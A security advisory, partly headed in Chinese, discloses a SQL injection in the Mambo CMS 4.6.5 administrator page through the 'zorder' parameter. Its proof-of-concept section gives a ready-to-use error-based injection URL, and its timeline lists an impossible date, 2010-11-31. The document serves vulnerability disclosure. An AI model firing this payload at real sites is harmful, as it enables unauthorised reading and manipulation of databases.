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Mambo CMS 4.6.x (4.6.5) | SQL Injection
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1.概述

Mambo CMS 4.6.5及更低版本含注射缺陷

2. 背景

Mambo is a full-featured, award-winning content management system that can be used for everything from simple websites to complex corporate applications. It is used all over the world to power government portals, corporate intranets and extranets, ecommerce sites, nonprofit outreach, schools, church, and community sites. Mambo's "power in simplicity" also makes it the CMS of choice for many small businesses and personal sites.

3. 缺陷描述

The "zorder" parameter was not properly sanitized upon submission to the administrator/index2.php url, which allows attacker to conduct  SQL Injection attack. This could an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

4. 影响版本

Mambo CMS 4.6.5已测试

5. PROOF-OF-CONCEPT/EXPLOIT

http://www.2cto.com /mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder=-1 OR (SELECT 9999 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,112,101,58),(SELECT (CASE WHEN (9999=9999) THEN 1 ELSE 0 END)),CHAR(58,110,100,107,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&filter_authorid=62&hidemainmenu=0&option=com_typedcontent

6. SOLUTION

The vendor seems to discontinue the development. It is recommended to use another CMS in active development.

7. VENDOR

Mambo CMS Development Team
http://mambo-developer.org

8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.

9. DISCLOSURE TIME-LINE

2010-11-31: notified vendor through bug tracker
2011-08-12: no patched version released up to date
2011-08-12: vulnerability disclosed

10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[mambo4.6_x]_sql_injection
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip

#yehg [2011-08-12]